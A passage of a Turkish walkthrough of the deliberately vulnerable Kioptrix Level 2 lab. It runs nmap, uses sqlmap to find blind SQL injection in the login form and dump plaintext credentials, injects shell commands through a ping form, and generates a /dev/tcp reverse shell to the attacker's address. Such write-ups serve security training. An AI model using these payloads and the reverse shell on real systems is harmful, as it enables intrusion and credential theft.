https:\/\/download.vulnhub.com\/kioptrix\/archive\/Kioptrix_Level_2-original.rar<\/a><\/p>\n\u00c7\u00f6z\u00fcm<\/h2>\n
Ip tespiti ile ba\u015flayal\u0131m.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[\/home\/kali]\n\u2514\u2500# ifconfig\neth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500\n inet 192.168.0.21 netmask 255.255.255.0 broadcast 192.168.0.255\n inet6 fe80::20c:29ff:fe4a:4d3f prefixlen 64 scopeid 0x20<link>\n ether 00:0c:29:4a:4d:3f txqueuelen 1000 (Ethernet)\n RX packets 11 bytes 949 (949.0 B)\n RX errors 0 dropped 0 overruns 0 frame 0\n TX packets 12 bytes 1232 (1.2 KiB)\n TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0\n\nlo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536\n inet 127.0.0.1 netmask 255.0.0.0\n inet6 ::1 prefixlen 128 scopeid 0x10<host>\n loop txqueuelen 1000 (Local Loopback)\n RX packets 8 bytes 400 (400.0 B)\n RX errors 0 dropped 0 overruns 0 frame 0\n TX packets 8 bytes 400 (400.0 B)\n TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0\n\n\u250c\u2500\u2500(root💀kali)-[\/home\/kali]\n\u2514\u2500# arp-scan -l | grep 00:0c:29:8a:91:fa\n192.168.0.23 00:0c:29:8a:91:fa VMware, Inc.<\/code><\/pre>\nDaha sonras\u0131nda bir nmap taraas\u0131 ger\u00e7ekle\u015ftirelim.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[\/home\/kali]\n\u2514\u2500# nmap -p- -A 192.168.0.23 -T4\nStarting Nmap 7.91 ( https:\/\/nmap.org ) at 2021-05-20 18:36 EDT\nNmap scan report for 192.168.0.23\nHost is up (0.00095s latency).\nNot shown: 65528 closed ports\nPORT STATE SERVICE VERSION\n22\/tcp open ssh OpenSSH 3.9p1 (protocol 1.99)\n| ssh-hostkey: \n| 1024 8f:3e:8b:1e:58:63:fe:cf:27:a3:18:09:3b:52:cf:72 (RSA1)\n| 1024 34:6b:45:3d:ba:ce:ca:b2:53:55:ef:1e:43:70:38:36 (DSA)\n|_ 1024 68:4d:8c:bb:b6:5a:bd:79:71:b8:71:47:ea:00:42:61 (RSA)\n|_sshv1: Server supports SSHv1\n80\/tcp open http Apache httpd 2.0.52 ((CentOS))\n|_http-server-header: Apache\/2.0.52 (CentOS)\n|_http-title: Site doesn't have a title (text\/html; charset=UTF-8).\n111\/tcp open rpcbind 2 (RPC #100000)\n| rpcinfo: \n| program version port\/proto service\n| 100000 2 111\/tcp rpcbind\n| 100000 2 111\/udp rpcbind\n| 100024 1 605\/udp status\n|_ 100024 1 608\/tcp status\n443\/tcp open ssl\/https?\n| ssl-cert: Subject: commonName=localhost.localdomain\/organizationName=SomeOrganization\/stateOrProvinceName=SomeState\/countryName=--\n| Not valid before: 2009-10-08T00:10:47\n|_Not valid after: 2010-10-08T00:10:47\n|_ssl-date: 2021-05-20T19:27:22+00:00; -3h09m45s from scanner time.\n| sslv2: \n| SSLv2 supported\n| ciphers: \n| SSL2_RC4_128_WITH_MD5\n| SSL2_RC4_128_EXPORT40_WITH_MD5\n| SSL2_DES_192_EDE3_CBC_WITH_MD5\n| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5\n| SSL2_DES_64_CBC_WITH_MD5\n| SSL2_RC4_64_WITH_MD5\n|_ SSL2_RC2_128_CBC_WITH_MD5\n608\/tcp open status 1 (RPC #100024)\n631\/tcp open ipp CUPS 1.1\n| http-methods: \n|_ Potentially risky methods: PUT\n|_http-server-header: CUPS\/1.1\n|_http-title: 403 Forbidden\n3306\/tcp open mysql MySQL (unauthorized)\nMAC Address: 00:0C:29:8A:91:FA (VMware)\nDevice type: general purpose\nRunning: Linux 2.6.X\nOS CPE: cpe:\/o:linux:linux_kernel:2.6\nOS details: Linux 2.6.9 - 2.6.30\nNetwork Distance: 1 hop\n\nHost script results:\n|_clock-skew: -3h09m45s\n\nTRACEROUTE\nHOP RTT ADDRESS\n1 0.95 ms 192.168.0.23\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 22.29 seconds\n<\/code><\/pre>\nAra\u015ft\u0131rmalar\u0131m\u0131 yapt\u0131ktan sonra kendimi en iyi hissetti\u011fim yer olan web’ten sistemi incelemeye ba\u015flad\u0131m ve bir giri\u015f sayfas\u0131 ile kar\u015f\u0131la\u015ft\u0131m. Hemen burp’um\u00fc a\u00e7t\u0131m ve trafi\u011fi yakalad\u0131m. Daha sonras\u0131nda bu http iste\u011fini bir dosyaya kaydettim.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/kioptrix2]\n\u2514\u2500# cat istek.txt \nPOST \/index.php HTTP\/1.1\nHost: 192.168.0.23\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:78.0) Gecko\/20100101 Firefox\/78.0\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application\/x-www-form-urlencoded\nContent-Length: 36\nOrigin: http:\/\/192.168.0.23\nConnection: close\nReferer: http:\/\/192.168.0.23\/\nUpgrade-Insecure-Requests: 1\n\nuname=admin&psw=admin&btnLogin=Login\n<\/code><\/pre>\nAmac\u0131m bu istek i\u00e7erisinde sql injection aramak olacakt\u0131r. Bunun i\u00e7in sqlmap arac\u0131n\u0131 kulland\u0131m.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/kioptrix2]\n\u2514\u2500# sqlmap -r istek.txt --level=5 --risk=3 --dbs --batch --time-sec 10\n ___\n __H__\n ___ ___[.]_____ ___ ___ {1.5.2#stable}\n|_ -| . [)] | .'| . |\n|___|_ [.]_|_|_|__,| _|\n |_|V... |_| http:\/\/sqlmap.org\n\n[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program\n\n[*] starting @ 18:42:04 \/2021-05-20\/\n\n[18:42:04] [INFO] parsing HTTP request from 'istek.txt'\n[18:42:04] [INFO] testing connection to the target URL\n[18:42:04] [INFO] checking if the target is protected by some kind of WAF\/IPS\n[18:42:04] [INFO] testing if the target URL content is stable\n[18:42:05] [INFO] target URL content is stable\n[18:42:05] [INFO] testing if POST parameter 'uname' is dynamic\n[18:42:05] [WARNING] POST parameter 'uname' does not appear to be dynamic\n[18:42:05] [WARNING] heuristic (basic) test shows that POST parameter 'uname' might not be injectable\n[18:42:05] [INFO] testing for SQL injection on POST parameter 'uname'\n[18:42:05] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'\n[18:42:05] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'\n[18:42:05] [INFO] POST parameter 'uname' appears to be 'OR boolean-based blind - WHERE or HAVING clause' injectable (with --string="the")\n[18:42:05] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL' \nit looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y\/n] Y\n[18:42:05] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'\n[18:42:05] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'\n[18:42:05] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'\n[18:42:05] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'\n[18:42:05] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'\n[18:42:05] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'\n[18:42:05] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'\n[18:42:05] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'\n[18:42:05] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'\n[18:42:05] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'\n[18:42:05] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'\n[18:42:05] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'\n[18:42:05] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'\n[18:42:05] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'\n[18:42:05] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'\n[18:42:05] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'\n[18:42:05] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'\n[18:42:05] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'\n[18:42:05] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'\n[18:42:05] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'\n[18:42:05] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)'\n[18:42:05] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'\n[18:42:05] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'\n[18:42:05] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'\n[18:42:05] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'\n[18:42:05] [INFO] testing 'Generic inline queries'\n[18:42:05] [INFO] testing 'MySQL inline queries'\n[18:42:05] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'\n[18:42:05] [INFO] testing 'MySQL >= 5.0.12 stacked queries'\n[18:42:05] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'\n[18:42:06] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'\n[18:42:06] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'\n[18:42:06] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'\n[18:42:06] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'\n[18:42:06] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (query SLEEP)'\n[18:42:06] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SLEEP)'\n[18:42:06] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (SLEEP)'\n[18:42:06] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SLEEP - comment)'\n[18:42:06] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (SLEEP - comment)'\n[18:42:06] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP - comment)'\n[18:42:06] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (query SLEEP - comment)'\n[18:42:06] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query)'\n[18:42:32] [INFO] POST parameter 'uname' appears to be 'MySQL < 5.0.12 AND time-based blind (heavy query)' injectable \n[18:42:32] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'\n[18:42:32] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found\n[18:42:32] [INFO] target URL appears to be UNION injectable with 3 columns\ninjection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y\/n] Y\n[18:42:32] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql') \n[18:42:32] [INFO] testing 'Generic UNION query (60) - 21 to 40 columns'\n[18:42:32] [INFO] testing 'Generic UNION query (60) - 41 to 60 columns'\n[18:42:32] [INFO] testing 'Generic UNION query (60) - 61 to 80 columns'\n[18:42:32] [INFO] testing 'Generic UNION query (60) - 81 to 100 columns'\n[18:42:32] [INFO] testing 'MySQL UNION query (60) - 1 to 20 columns'\n[18:42:33] [INFO] testing 'MySQL UNION query (60) - 21 to 40 columns'\n[18:42:33] [INFO] testing 'MySQL UNION query (60) - 41 to 60 columns'\n[18:42:33] [INFO] testing 'MySQL UNION query (60) - 61 to 80 columns'\n[18:42:33] [INFO] testing 'MySQL UNION query (60) - 81 to 100 columns'\n[18:42:33] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval\n[18:42:33] [INFO] checking if the injection point on POST parameter 'uname' is a false positive\nPOST parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y\/N] N\nsqlmap identified the following injection point(s) with a total of 381 HTTP(s) requests:\n---\nParameter: uname (POST)\n Type: boolean-based blind\n Title: OR boolean-based blind - WHERE or HAVING clause\n Payload: uname=-3039' OR 6345=6345-- kdFD&psw=admin&btnLogin=Login\n\n Type: time-based blind\n Title: MySQL < 5.0.12 AND time-based blind (heavy query)\n Payload: uname=admin' AND 3338=BENCHMARK(10000000,MD5(0x58477146))-- hXip&psw=admin&btnLogin=Login\n---\n[18:42:33] [INFO] the back-end DBMS is MySQL\nweb server operating system: Linux CentOS 4\nweb application technology: PHP 4.3.9, Apache 2.0.52\nback-end DBMS: MySQL < 5.0.12\n[18:42:33] [INFO] fetching database names\n[18:42:33] [INFO] fetching number of databases\n[18:42:33] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval\n[18:42:33] [INFO] retrieved: \n[18:42:33] [INFO] retrieved: \n[18:42:33] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions \n\n[18:42:33] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'\n[18:42:33] [ERROR] unable to retrieve the number of databases\n[18:42:33] [INFO] falling back to current database\n[18:42:33] [INFO] fetching current database\n[18:42:33] [INFO] retrieved: webapp\navailable databases [1]:\n[*] webapp\n\n[18:42:33] [INFO] fetched data logged to text files under '\/root\/.local\/share\/sqlmap\/output\/192.168.0.23'\n\n[*] ending @ 18:42:33 \/2021-05-20\/<\/code><\/pre>\nEvet g\u00f6r\u00fcld\u00fc\u011f\u00fc \u00fczere database’i g\u00f6r\u00fcnt\u00fcleyebildik. \u015eimdi veri \u00e7\u0131kartal\u0131m. Bu arada uname<\/strong> parametresinde zafiyet oldu\u011funu bulduk ve di\u011fer testleri ger\u00e7ekletirmedik. Sqlmap!\u0130n buldu\u011fu zafiyetlere g\u00f6re boolean-based blind<\/strong> ve time-based blind<\/strong> sql injectionlar\u0131m\u0131z var. Bunlarla ilgili paylaoadlar a\u015fa\u011f\u0131da tekrardan verilmi\u015ftir.<\/p>\n---\nParameter: uname (POST)\n Type: boolean-based blind\n Title: OR boolean-based blind - WHERE or HAVING clause\n Payload: uname=-3039' OR 6345=6345-- kdFD&psw=admin&btnLogin=Login\n\n Type: time-based blind\n Title: MySQL < 5.0.12 AND time-based blind (heavy query)\n Payload: uname=admin' AND 3338=BENCHMARK(10000000,MD5(0x58477146))-- hXip&psw=admin&btnLogin=Login\n---\n<\/code><\/pre>\n\u015eimdi verileri \u00e7\u0131kartal\u0131m.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/kioptrix2]\n\u2514\u2500# sqlmap -r istek.txt --level=5 --risk=3 --dbms="Mysql" -D webapp -tables\n ___\n __H__\n ___ ___[)]_____ ___ ___ {1.5.2#stable}\n|_ -| . [(] | .'| . |\n|___|_ [(]_|_|_|__,| _|\n |_|V... |_| http:\/\/sqlmap.org\n\n[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program\n\n[*] starting @ 18:45:28 \/2021-05-20\/\n\n[18:45:28] [INFO] parsing HTTP request from 'istek.txt'\n[18:45:28] [INFO] testing connection to the target URL\nsqlmap resumed the following injection point(s) from stored session:\n---\nParameter: uname (POST)\n Type: boolean-based blind\n Title: OR boolean-based blind - WHERE or HAVING clause\n Payload: uname=-3039' OR 6345=6345-- kdFD&psw=admin&btnLogin=Login\n\n Type: time-based blind\n Title: MySQL < 5.0.12 AND time-based blind (heavy query)\n Payload: uname=admin' AND 3338=BENCHMARK(5000000,MD5(0x58477146))-- hXip&psw=admin&btnLogin=Login\n---\n[18:45:28] [INFO] testing MySQL\n[18:45:28] [INFO] confirming MySQL\n[18:45:28] [INFO] the back-end DBMS is MySQL\nweb server operating system: Linux CentOS 4\nweb application technology: Apache 2.0.52, PHP 4.3.9\nback-end DBMS: MySQL < 5.0.0\n[18:45:28] [WARNING] information_schema not available, back-end DBMS is MySQL < 5.0\ndo you want to use common table existence check? [y\/N\/q] y\nwhich common tables (wordlist) file do you want to use?\n[1] default '\/usr\/share\/sqlmap\/data\/txt\/common-tables.txt' (press Enter)\n[2] custom\n> 1\n[18:45:36] [INFO] performing table existence using items from '\/usr\/share\/sqlmap\/data\/txt\/common-tables.txt'\n[18:45:36] [INFO] adding words used on web page to the check list\n[18:45:36] [INFO] checking database 'webapp'\n10\n[18:45:46] [INFO] starting 10 threads\n[18:45:46] [INFO] retrieved: users \n\nDatabase: webapp\n[1 table]\n+-------+\n| users |\n+-------+\n\n[18:46:07] [INFO] fetched data logged to text files under '\/root\/.local\/share\/sqlmap\/output\/192.168.0.23'\n\n[*] ending @ 18:46:07 \/2021-05-20\/<\/code><\/pre>\nSqlap \u00e7\u0131ktlar\u0131nda [18:45:28] [WARNING] information_schema not available, back-end DBMS is MySQL < 5.0<\/code> bilgisini ald\u0131k. Bu y\u00fczden union<\/code>gibi anahtar kelimelerle sorgu birle\u015ftirip information_schema database’inden okuma i\u015flemi yapam\u0131yoruz. S\u00f6zl\u00fck sald\u0131r\u0131s\u0131 ile tablo \u00e7\u0131kartabildik. Tablomuzun ad\u0131 users<\/strong> tablosu. Yine ayn\u0131 y\u00f6ntemle \u015fimdi de s\u00fctunlara s\u00f6zl\u00fck sald\u0131r\u0131s\u0131 yapt\u0131k ve istedi\u011fimiz sonu\u00e7lar\u0131 elde ettik.<\/p>\n\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/kioptrix2]\n\u2514\u2500# sqlmap -r istek.txt --level=5 --risk=3 --dbms="Mysql" -D webapp -T users --dump\n ___\n __H__\n ___ ___[.]_____ ___ ___ {1.5.2#stable}\n|_ -| . [)] | .'| . |\n|___|_ [,]_|_|_|__,| _|\n |_|V... |_| http:\/\/sqlmap.org\n\n[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program\n\n[*] starting @ 18:48:10 \/2021-05-20\/\n\n[18:48:10] [INFO] parsing HTTP request from 'istek.txt'\n[18:48:10] [INFO] testing connection to the target URL\nsqlmap resumed the following injection point(s) from stored session:\n---\nParameter: uname (POST)\n Type: boolean-based blind\n Title: OR boolean-based blind - WHERE or HAVING clause\n Payload: uname=-3039' OR 6345=6345-- kdFD&psw=admin&btnLogin=Login\n\n Type: time-based blind\n Title: MySQL < 5.0.12 AND time-based blind (heavy query)\n Payload: uname=admin' AND 3338=BENCHMARK(5000000,MD5(0x58477146))-- hXip&psw=admin&btnLogin=Login\n---\n[18:48:10] [INFO] testing MySQL\n[18:48:10] [INFO] confirming MySQL\n[18:48:10] [INFO] the back-end DBMS is MySQL\nweb server operating system: Linux CentOS 4\nweb application technology: PHP 4.3.9, Apache 2.0.52\nback-end DBMS: MySQL < 5.0.0\n[18:48:10] [WARNING] information_schema not available, back-end DBMS is MySQL < 5.0\ndo you want to use common column existence check? [y\/N\/q] y\nwhich common columns (wordlist) file do you want to use?\n[1] default '\/usr\/share\/sqlmap\/data\/txt\/common-columns.txt' (press Enter)\n[2] custom\n> 1\n[18:48:17] [INFO] checking column existence using items from '\/usr\/share\/sqlmap\/data\/txt\/common-columns.txt'\n[18:48:17] [INFO] adding words used on web page to the check list\nplease enter number of threads? [Enter for 1 (current)] 20\n[18:48:19] [CRITICAL] maximum number of used threads is 10 avoiding potential connection issues\nplease enter number of threads? [Enter for 1 (current)] 10\n[18:48:21] [INFO] starting 10 threads\n[18:48:21] [INFO] retrieved: id \n[18:48:21] [INFO] retrieved: username \n[18:48:22] [INFO] retrieved: password \n[18:48:36] [INFO] retrieved: username \n[18:48:36] [INFO] retrieved: password \n\n[18:48:36] [INFO] fetching entries for table 'users' in database 'webapp'\n[18:48:36] [INFO] fetching number of entries for table 'users' in database 'webapp'\n[18:48:36] [INFO] retrieved: 2\n[18:48:36] [INFO] retrieving the length of query output\n[18:48:36] [INFO] retrieved: 1\n[18:48:37] [INFO] retrieved: 1\n[18:48:37] [INFO] retrieving the length of query output\n[18:48:37] [INFO] retrieved: 10\n[18:48:37] [INFO] retrieved: 5afac8d85f \n[18:48:37] [INFO] retrieving the length of query output\n[18:48:37] [INFO] retrieved: 5\n[18:48:37] [INFO] retrieved: admin \n[18:48:37] [INFO] retrieving the length of query output\n[18:48:37] [INFO] retrieved: 1\n[18:48:37] [INFO] retrieved: 2\n[18:48:37] [INFO] retrieving the length of query output\n[18:48:37] [INFO] retrieved: 10\n[18:48:38] [INFO] retrieved: 66lajGGbla \n[18:48:38] [INFO] retrieving the length of query output\n[18:48:38] [INFO] retrieved: 4\n[18:48:38] [INFO] retrieved: john \nDatabase: webapp\nTable: users\n[2 entries]\n+----+------------+----------+\n| id | password | username |\n+----+------------+----------+\n| 1 | 5afac8d85f | admin |\n| 2 | 66lajGGbla | john |\n+----+------------+----------+\n\n[18:48:38] [INFO] table 'webapp.users' dumped to CSV file '\/root\/.local\/share\/sqlmap\/output\/192.168.0.23\/dump\/webapp\/users.csv'\n[18:48:38] [INFO] fetched data logged to text files under '\/root\/.local\/share\/sqlmap\/output\/192.168.0.23'\n\n[*] ending @ 18:48:38 \/2021-05-20\/<\/code><\/pre>\n\u015eimdi web uygulamas\u0131na giri\u015f yapmay\u0131 deneyelim. admin, 5afac8d85f bilgileri ile giri\u015f yapmay\u0131 denedi\u011fimde sayfan\u0131n html kodlar\u0131n\u0131n bozuk oldu\u011funu g\u00f6rd\u00fcm. Burp arac\u0131l\u0131\u011f\u0131yla taray\u0131c\u0131ya a\u015fa\u011f\u0131daki hatal\u0131 kodlar yerine do\u011fru kodlar\u0131 g\u00f6nderdim ve bir tml formu kar\u015f\u0131ma \u00e7\u0131kt\u0131. A\u015fa\u011f\u0131da ilk olarak hatal\u0131 http cevab\u0131n\u0131 daha sonras\u0131nda ise sadece bir t\u0131rnak (‘) ekleyerek elde etti\u011fim do\u011fru cevab\u0131 g\u00f6sterdim. G\u00f6setermi\u015f oldu\u011fum 2. cevab\u0131 taray\u0131c\u0131ya g\u00f6nderdim.<\/p>\n
HTTP\/1.1 200 OK\n\nDate: Thu, 20 May 2021 19:42:53 GMT\n\nServer: Apache\/2.0.52 (CentOS)\n\nX-Powered-By: PHP\/4.3.9\n\nContent-Length: 585\n\nConnection: close\n\nContent-Type: text\/html; charset=UTF-8\n\n<html>\n<body>\n\n<!-- Start of HTML when logged in as Administator -->\n <form name="ping" action="pingit.php" method="post" target="_blank">\n <table width='600' border='1'>\n <tr valign='middle'>\n <td colspan='2' align='center'>\n <b>Welcome to the Basic Administrative Web Console<br><\/b>\n <\/td>\n <\/tr>\n <tr valign='middle'>\n <td align='center'>\n Ping a Machine on the Network:\n <\/td>\n <td align='center>\n <input type="text" name="ip" size="30">\n <input type="submit" value="submit" name="submit">\n <\/td>\n <\/td>\n <\/tr>\n <\/table>\n <\/form>\n\n<\/body>\n<\/html>\n<\/code><\/pre>\nHTTP\/1.1 200 OK\n\nDate: Thu, 20 May 2021 19:42:53 GMT\n\nServer: Apache\/2.0.52 (CentOS)\n\nX-Powered-By: PHP\/4.3.9\n\nContent-Length: 585\n\nConnection: close\n\nContent-Type: text\/html; charset=UTF-8\n\n<html>\n<body>\n\n<!-- Start of HTML when logged in as Administator -->\n <form name="ping" action="pingit.php" method="post" target="_blank">\n <table width='600' border='1'>\n <tr valign='middle'>\n <td colspan='2' align='center'>\n <b>Welcome to the Basic Administrative Web Console<br><\/b>\n <\/td>\n <\/tr>\n <tr valign='middle'>\n <td align='center'>\n Ping a Machine on the Network:\n <\/td>\n <td align='center'>\n <input type="text" name="ip" size="30">\n <input type="submit" value="submit" name="submit">\n <\/td>\n <\/td>\n <\/tr>\n <\/table>\n <\/form>\n\n<\/body>\n<\/html>\n<\/code><\/pre>\nDaha sonras\u0131nda kar\u015f\u0131ma \u00e7\u0131kan html formunda bir ip’ye ping atmay\u0131 denedim. Yine bu iste\u011fimi burp ile yakalay\u0131p, inceleme yapma \u00fczere repeater’a att\u0131m.<\/p>\n
POST \/pingit.php HTTP\/1.1\n\nHost: 192.168.0.23\n\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:78.0) Gecko\/20100101 Firefox\/78.0\n\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8\n\nAccept-Language: en-US,en;q=0.5\n\nAccept-Encoding: gzip, deflate\n\nContent-Type: application\/x-www-form-urlencoded\n\nContent-Length: 24\n\nOrigin: http:\/\/192.168.0.23\n\nConnection: close\n\nReferer: http:\/\/192.168.0.23\/index.php\n\nUpgrade-Insecure-Requests: 1\n\nip=8.8.8.8&submit=submit<\/code><\/pre>\nD\u00f6nen cevap:<\/p>\n
HTTP\/1.1 200 OK\n\nDate: Thu, 20 May 2021 19:46:31 GMT\n\nServer: Apache\/2.0.52 (CentOS)\n\nX-Powered-By: PHP\/4.3.9\n\nContent-Length: 385\n\nConnection: close\n\nContent-Type: text\/html; charset=UTF-8\n\n8.8.8.8<pre>PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.\n64 bytes from 8.8.8.8: icmp_seq=0 ttl=112 time=65.6 ms\n64 bytes from 8.8.8.8: icmp_seq=1 ttl=112 time=60.2 ms\n64 bytes from 8.8.8.8: icmp_seq=2 ttl=112 time=59.5 ms\n\n--- 8.8.8.8 ping statistics ---\n3 packets transmitted, 3 received, 0% packet loss, time 2002ms\nrtt min\/avg\/max\/mdev = 59.517\/61.821\/65.658\/2.738 ms, pipe 2\n<\/pre><\/code><\/pre>\n\n- istek:<\/li>\n<\/ol>\n
POST \/pingit.php HTTP\/1.1\n\nHost: 192.168.0.23\n\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:78.0) Gecko\/20100101 Firefox\/78.0\n\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8\n\nAccept-Language: en-US,en;q=0.5\n\nAccept-Encoding: gzip, deflate\n\nContent-Type: application\/x-www-form-urlencoded\n\nContent-Length: 28\n\nOrigin: http:\/\/192.168.0.23\n\nConnection: close\n\nReferer: http:\/\/192.168.0.23\/index.php\n\nUpgrade-Insecure-Requests: 1\n\nip=8.8.8.8; ls&submit=submit<\/code><\/pre>\n2 cevap:<\/p>\n
HTTP\/1.1 200 OK\n\nDate: Thu, 20 May 2021 19:46:59 GMT\n\nServer: Apache\/2.0.52 (CentOS)\n\nX-Powered-By: PHP\/4.3.9\n\nContent-Length: 410\n\nConnection: close\n\nContent-Type: text\/html; charset=UTF-8\n\n8.8.8.8; ls<pre>PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.\n64 bytes from 8.8.8.8: icmp_seq=0 ttl=112 time=61.6 ms\n64 bytes from 8.8.8.8: icmp_seq=1 ttl=112 time=58.2 ms\n64 bytes from 8.8.8.8: icmp_seq=2 ttl=112 time=59.6 ms\n\n--- 8.8.8.8 ping statistics ---\n3 packets transmitted, 3 received, 0% packet loss, time 2001ms\nrtt min\/avg\/max\/mdev = 58.262\/59.861\/61.657\/1.421 ms, pipe 2\nindex.php\npingit.php\n<\/pre><\/code><\/pre>\nHarika! \u0130\u015fletim sistemi seviyesinde komut \u00e7al\u0131\u015ft\u0131rabiliyoruz. Hemen reverse shell elde edelim.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/kioptrix2]\n\u2514\u2500# msfvenom -p cmd\/unix\/reverse_bash lhost=192.168.0.21 lport=1822 \n[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload\n[-] No arch selected, selecting arch: cmd from the payload\nNo encoder specified, outputting raw payload\nPayload size: 66 bytes\n0<&173-;exec 173<>\/dev\/tcp\/192.168.0.21\/1822;sh <&173 >&173 2>&173<\/code><\/pre>\nmsfvenom arac\u0131l\u0131\u011f\u0131 ile reverse elde ettim ve bunu url encodingli formatta iste\u011fimin i\u00e7erisine yerle\u015ftirdim. Reverse shell’i almak i\u00e7in bir dinleme noktas\u0131 olu\u015fturdum.<\/p>\n
